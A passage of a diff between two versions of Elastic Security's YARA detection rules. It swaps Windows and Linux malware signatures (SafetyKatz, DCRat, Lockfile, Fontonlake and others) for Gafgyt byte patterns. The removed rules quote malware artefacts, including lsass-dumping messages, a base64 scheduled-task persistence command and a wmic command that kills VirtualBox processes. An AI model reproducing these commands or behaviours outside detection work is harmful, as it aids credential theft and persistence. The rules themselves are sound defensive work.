 		author = "Elastic Security"
-		id = "072b7370-517b-45dc-af23-ba3adbd32fbd"
-		date = "2022-11-20"
-		modified = "2023-01-11"
+		id = "779e142f-b867-46e6-b1fb-9105976f42fd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SafetyKatz.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "89a456943cf6d2b3cd9cdc44f13a23640575435ed49fa754f7ed358c1a3b6ba9"
-		logic_hash = "cedd3ede487371a8e0d29804f2b81ae808c7ad01bd803fa39dc2c50e472cff43"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L892-L910"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
+		logic_hash = "80ba5a1cf333fafc6a1d7823ca4a8d5c30c1c07a01d6d681c22dd29e197089f1"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f0d11341fc91d2c45c07c6079aad24a11da03320286216be0a68461b6bf55b02"
+		fingerprint = "83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$guid = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii wide nocase
-		$print_str0 = "[X] Not in high integrity, unable to grab a handle to lsass!" ascii wide fullword
-		$print_str1 = "[X] Dump directory \"{0}\" doesn't exist!" ascii wide fullword
-		$print_str2 = "[X] Process is not 64-bit, this version of Mimikatz won't work yo'!" ascii wide fullword
-		$print_str3 = "[+] Dump successful!" ascii wide fullword
+		$a = { EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83 }
 
 	condition:
-		$guid or all of ($print_str*)
+		all of them
 }
-rule ELASTIC_Windows_PUP_Mediaarena_A9E3B4A1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Cf84C9F2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Pup Mediaarena (Windows.PUP.MediaArena)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "a9e3b4a1-fd87-4f8f-a9d4-d93f9c018270"
-		date = "2023-06-02"
-		modified = "2023-06-13"
+		id = "cf84c9f2-7435-4faf-8c5f-d14945ffad7a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_PUP_MediaArena.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c071e0b67e4c105c87b876183900f97a4e8bc1a7c18e61c028dee59ce690b1ac"
-		logic_hash = "8e52b29f2848498aae2fd7ad35494362d6c07f0e752b628840a256923aca32c7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L912-L930"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
+		logic_hash = "9af164ece7e7e0f33dc32f18735a8f655593ae6cde34e05108f3221b71aa8676"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0535228889b1d2a7c317a7ce939621d3d20e2a454ec6d31915c25884931d62b9"
+		fingerprint = "bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "Going to change default browser to be MS Edge ..." wide
-		$a2 = "https://www.searcharchiver.com/eula" wide
-		$a3 = "Current default browser is unchanged!" wide
-		$a4 = "You can terminate your use of the Search Technology and Search Technology services"
-		$a5 = "The software may also offer to change your current web navigation access points"
-		$a6 = "{{BRAND_NAME}} may have various version compatible with different platform,"
-		$a7 = "{{BRAND_NAME}} is a powerful search tool" wide
+		$a = { 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Falsefont_D1F0D357 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_0Cd591Cd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Falsefont (Windows.Trojan.FalseFont)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "d1f0d357-26cb-4dab-8ca6-65f17109982b"
-		date = "2024-03-26"
-		modified = "2024-05-08"
+		id = "0cd591cd-c348-4c3a-a895-2063cf892cda"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_FalseFont.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614"
-		logic_hash = "af356dec77f773cec01626a3823dbea7e9d3719b9d152ec4057c0b97efabf0df"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L932-L949"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "4300bdd173dfb33ca34c0f2fe4fa6ee071e99d5db201262e914721aad0ad433b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ad63447832e9a160d479fccd780de89b9c29b9697f69ac3553e39bc388d49b83"
+		fingerprint = "96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$s1 = "KillById"
-		$s2 = "KillByName"
-		$s3 = "SignalRHub"
-		$s4 = "ExecUseShell"
-		$s5 = "ExecAndKeepAlive"
-		$s6 = "SendAllDirectoryWithStartPath"
-		$s7 = "AppLiveDirectorySendHard"
-		$s8 = "AppLiveDirectorySendScreen"
+		$a = { 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Linux_Hacktool_Fontonlake_68Ad8568 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_859042A0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Fontonlake (Linux.Hacktool.Fontonlake)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "68ad8568-2b00-4680-a83f-1689eff6099c"
-		date = "2021-10-12"
-		modified = "2022-01-26"
+		id = "859042a0-a424-4c83-944b-ed182b342998"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Fontonlake.yar#L1-L30"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "717953f52318e7687fc95626561cc607d4875d77ff7e3cf5c7b21cf91f576fa4"
-		logic_hash = "63dd5769305c715e27e3c62160f7b0f65b57204009ed46383b5b477c67cfac8e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L951-L969"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0"
+		logic_hash = "b8daa4a136a6511472703687fe56fbca2bd005a1373802a46c8d211b6d039d75"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "81936e696a525cf02070fa7cfa27574cdad37e1b3d8f278950390a1945c21611"
+		fingerprint = "a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59573,103 +63707,85 @@ rule ELASTIC_Linux_Hacktool_Fontonlake_68Ad8568 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$s1 = "run_in_bash"
-		$s2 = "run_in_ss"
-		$s3 = "real_bash_fork"
-		$s4 = "fake_bash_add_history"
-		$s5 = "hook_bash_add_history"
-		$s6 = "real_bash_add_history"
-		$s7 = "real_current_user.5417"
-		$s8 = "real_bash_execve"
-		$s9 = "inject_so_symbol.c"
-		$s10 = "/root/rmgr_ko/subhook-0.5/subhook_x86.c"
-		$s11 = "|1|%ld|%d|%d|%d|%d|%s|%s"
-		$s12 = "/proc/.dot3"
+		$a = { 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Dcrat_1Aeea1Ac : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_33B4111A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Dcrat (Windows.Trojan.DCRat)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "1aeea1ac-69b9-4cc6-91af-18b7a79f35ce"
-		date = "2022-01-15"
-		modified = "2022-04-12"
+		id = "33b4111a-e59e-48db-9d74-34ca44fcd9f5"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DCRat.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "6163e04a40ed52d5e94662131511c3ae08d473719c364e0f7de60dff7fa92cf7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L971-L989"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961"
+		logic_hash = "a08c0f7be26e2e9abfaa392712895bb3ce1d12583da4060ebe41e1a9c1491b7c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9"
+		fingerprint = "9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "havecamera" ascii fullword
-		$a2 = "timeout 3 > NUL" wide fullword
-		$a3 = "START \"\" \"" wide fullword
-		$a4 = "L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g" wide fullword
-		$a5 = "U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==" wide fullword
-		$b1 = "DcRatByqwqdanchun" ascii fullword
-		$b2 = "DcRat By qwqdanchun1" ascii fullword
+		$a = { C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48 }
 
 	condition:
-		5 of ($a*) or 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Packer_Scrubcrypt_6A75A4Bb : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_4F43B164 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Packer Scrubcrypt (Windows.Packer.ScrubCrypt)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "6a75a4bb-8026-4c33-af39-621d76f3baba"
-		date = "2023-04-18"
-		modified = "2023-06-13"
+		id = "4f43b164-686d-4b73-b532-45e2df992b33"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Packer_ScrubCrypt.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "05c1eea2ff8c31aa5baf1dfd8015988f7e737753275ed1c8c29013a3a7414b50"
-		logic_hash = "edcaa6f1cc85ef084ae5bf2524f39869a90b008dce85e72bca4835565f067ca7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L991-L1009"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f0fdb3de75f85e199766bbb39722865cac578cde754afa2d2f065ef028eec788"
+		logic_hash = "79a17e70e9b7af6e53f62211c33355a4c46a82e7c4e80c20ffe9684e24155808"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "263175cbdc74502a595664833c90bf0a27f2bf20c227775658d552e29d98620e"
+		fingerprint = "35a885850a06e7991c3a8612bbcdfc279b87e4ca549723192d3011a1e0a81640"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 43 68 65 63 6B 52 65 6D 6F 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6E 74 00 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6E 74 }
-		$b = { 53 63 72 75 62 43 72 79 70 74 00 53 74 61 72 74 }
+		$a = { 46 00 4B 49 4C 4C 53 55 42 00 4B 49 4C 4C 53 55 42 20 3C 73 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sdbot_98628Ea1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_E4A1982B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sdbot (Linux.Trojan.Sdbot)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "98628ea1-40d8-4a05-835f-a5a5f83637cb"
+		id = "e4a1982b-928a-4da5-b497-cedc1d26e845"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sdbot.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5568ae1f8a1eb879eb4705db5b3820e36c5ecea41eb54a8eef5b742f477cbdd8"
-		logic_hash = "55b8e3fa755965b85a043015f9303644b8e06fe8bfdc0e2062de75bdc2881541"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1011-L1028"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "4cd7aa205b3571cffca208e315d6311fa92a5993e2a8e40d342d6184811f42f0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "15cf6b916dd87915738f3aa05a2955c78a357935a183c0f88092d808535625a5"
+		fingerprint = "d9f852c28433128b0fd330bee35f7bd4aada5226e9ca865fe5cd8cca52b2a622"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59677,89 +63793,85 @@ rule ELASTIC_Linux_Trojan_Sdbot_98628Ea1 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 54 00 3C 08 54 00 02 00 26 00 00 40 4D 08 00 5C 00 50 00 49 00 }
+		$a = { 8B 45 EC F7 D0 21 D0 33 45 FC C9 C3 55 48 89 E5 48 83 EC 30 48 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Lockfile_74185716 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_862C4E0E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Lockfile (Windows.Ransomware.Lockfile)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "74185716-e79d-4d63-b6ae-9480f24dcd4f"
-		date = "2021-08-31"
-		modified = "2022-01-13"
+		id = "862c4e0e-83a4-458b-8c00-f2f3cf0bf9db"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Lockfile.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce"
-		logic_hash = "e922c2fc9dd52dd0238847a9d48691bea90d028cf680fc3a1a0dbdfef1d8dce3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1030-L1048"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1"
+		logic_hash = "a1dce44e76f9d2a517c4849c58dfecb07e1ef0d78fddff10af601184d636583f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "849a0fb5a2e08b2d32db839a7fdbde03a184a48726678e65e7f8452b354a3ca8"
+		fingerprint = "2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "LOCKFILE-README"
-		$a2 = "wmic process where \"name  like '%virtualbox%'\" call terminate"
-		$a3 = "</computername>"
-		$a4 = ".lockfile"
+		$a = { 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Exploit_Dcom_7A1Bcec7 : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_9127F7Be : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Exploit Dcom (Windows.Exploit.Dcom)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "7a1bcec7-e177-4adf-97a7-0d876bf65abc"
+		id = "9127f7be-6e82-46a1-9f11-0b3570b0cd76"
 		date = "2021-01-12"
-		modified = "2021-08-23"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_Dcom.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "84073caf71d0e0523adeb96169c85b8f0bfea09e7ef3bf677bfc19d3b536d8a5"
-		logic_hash = "484576ab5369f99dc7086d724ead12d464f2bedaf84c93b74e137ddd98600b06"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1050-L1068"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "899c072730590003b98278bdda21c15ecaa2f49ad51e417ed59e88caf054a72d"
+		logic_hash = "2b1fa115598561e081dfb9b5f24f6728b0d52cb81ac7933728d81646f461bcae"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		fingerprint = "0abae84599e490056412d5a5ce1868ea118551243377d59cbb6ebd83701769b8"
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "72c742cb8b11ddf030e10f67e13c0392748dcd970394ec77ace3d2baa705a375"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 20 62 79 20 46 6C 61 73 68 53 6B 79 20 61 6E 64 20 42 65 6E }
+		$a = { E4 F7 E1 89 D0 C1 E8 03 89 45 E8 8B 45 E8 01 C0 03 45 E8 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Sshdkit_18A0B82A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_0E03B7D3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sshdkit (Linux.Trojan.Sshdkit)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "18a0b82a-94ff-4328-bfa7-25034f170522"
-		date = "2021-04-06"
+		id = "0e03b7d3-a6b0-46a0-920e-c15ee7e723f7"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sshdkit.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "003245047359e17706e4504f8988905a219fcb48865afea934e6aafa7f97cef6"
-		logic_hash = "4b7a78ebf3c114809148cc9855379b2e63c959966272ad45759838d570b42016"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1070-L1087"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "845be03fac893f8e914aabda5206000dc07947ade0b8f46cc5d58d8458f035f6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9bd28a490607b75848611389b39cf77229cfdd1e885f23c5439d49773924ce16"
+		fingerprint = "1bf1f271005328669b3eb4940e2b75eff9fc47208d79a12196fd7ce04bc4dbe8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59767,61 +63879,56 @@ rule ELASTIC_Linux_Trojan_Sshdkit_18A0B82A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 06 2A CA 37 F2 31 18 0E 2F 47 CD 87 9D 16 3F 6D }
+		$a = { F5 74 84 32 63 29 5A B2 78 FF F7 FA 0E 51 B3 2F CD 7F 10 FA }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharphound_5Adf9D6D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_32Eb0C81 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharphound (Windows.Hacktool.SharpHound)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "5adf9d6d-b6db-43ea-95bd-e9747b82a36d"
-		date = "2022-10-20"
-		modified = "2022-11-24"
+		id = "32eb0c81-25af-4670-ab77-07ea7ce1874a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpHound.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1f74ed6e61880d19e53cde5b0d67a0507bfda0be661860300dcb0f20ea9a45f4"
-		logic_hash = "2c9f38187866985109a42ffdf8940b5d195aadd3815b2de952b190d4b0b95c3c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1089-L1107"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
+		logic_hash = "a06d9e1190ba79b0e19cab7468f01a49359629a6feb27b7d72f3d1d52d1483d7"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "53d295223e2330a973f9495a7ca625c1e9429bc5daf7dda1b84b2aaeca5ea898"
+		fingerprint = "7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$guid0 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii wide nocase
-		$guid1 = "90A6822C-4336-433D-923F-F54CE66BA98F" ascii wide nocase
-		$print_str0 = "Initializing SharpHound at {time} on {date}" ascii wide
-		$print_str1 = "SharpHound completed {Number} loops! Zip file written to {Filename}" ascii wide
-		$print_str2 = "[-] Removed DCOM Collection" ascii wide
+		$a = { D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B }
 
 	condition:
-		$guid0 or $guid1 or all of ($print_str*)
+		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Bscope_348B7Fa0 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_9Abf7E0C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Bscope (Linux.Cryptominer.Bscope)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "348b7fa0-e226-4350-8697-345ae39fa0f6"
+		id = "9abf7e0c-5076-4881-a488-f0f62810f843"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Bscope.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a6fb80d77986e00a6b861585bd4e573a927e970fb0061bf5516f83400ad7c0db"
-		logic_hash = "bc6a59dcc36676273c61fa71231fd8709884beebb7ab64b58f22551393b20c71"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1109-L1126"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "00276330e388d07368577c4134343cb9fc11957dba6cff5523331199f1ed04aa"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "caae9d3938f9269f8bc30e4837021513ca6e4e2edd1117d235b0d25474df5357"
+		fingerprint = "7d02513aaef250091a58db58435a1381974e55c2ed695c194b6b7b83c235f848"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59829,57 +63936,56 @@ rule ELASTIC_Linux_Cryptominer_Bscope_348B7Fa0 : FILE MEMORY
 		os = "linux"
 
 	strings:
